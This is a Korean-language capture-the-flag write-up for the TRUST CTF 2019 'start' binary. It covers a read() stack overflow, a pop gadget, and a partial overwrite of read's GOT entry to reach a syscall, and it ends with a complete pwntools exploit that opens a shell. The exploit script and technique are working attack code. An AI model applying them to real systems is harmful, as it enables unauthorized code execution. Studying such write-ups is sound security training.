TRUST CTF 2019 start

start

Binary File

1
2
3
4
5
6
7
8
9
sub_4005E6 proc near
; __unwind {
push rbp
mov rbp, rsp
pop rax
pop rdx
pop rdi
pop rsi
retn
[sub_4005E6]
4개의 sub 함수 중 4005E6에는 pop gadget이 있다.
1
2
3
4
5
6
7
8
9
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
char buf; // [rsp+0h] [rbp-10h]

setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
read(0, &buf, 0x78uLL);
return 0LL;
}
[main]
바이너리 파일을 뜯어보면 sub로 시작하는 함수 4개와 메인함수가 있다. 언뜻봐도 알 수 있듯이 read 함수에서 BOF 취약점이 터지는 것을 확인할 수 있다. 보통은 write 같은 함수가 주어져야 하는데 read 함수밖에 없는 걸로 보아 일반적으로 하는 ROP 기법은 사용할 수 없다. 그래서 같이 주어져 있는 libc 파일에서 syscall 가젯을 사용한다. 주소값의 하위 3비트는 고정적인 값을 지니고 있기 때문에 read의 libc 주소 1 바이트를 syscall의 하위 1 바이트 주소로 바꿔서 보내면 된다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *
#r = remote('server.trustctf.com', 10392)
r = process('./start')
e = ELF('./start')
pr = 0x4005ed # pop rsi
ppppr = 0x4005ea # pop rax,rdx,rdi,rsi
cmd = "/bin/sh\x00"
syscall = "\x7b"

payload = ""
payload += "A"*24
payload += p64(pr)
payload += p64(e.bss())
payload += p64(e.plt['read'])

payload += p64(pr)
payload += p64(e.got['read'])
payload += p64(e.plt['read'])

payload += p64(ppppr)
payload += p64(59)
payload += p64(0)
payload += p64(e.bss())
payload += p64(0)
payload += p64(e.plt['read'])
payload += cmd

r.sendline(payload)
r.send(syscall)
r.interactive()
[Exploit Code]
공유하기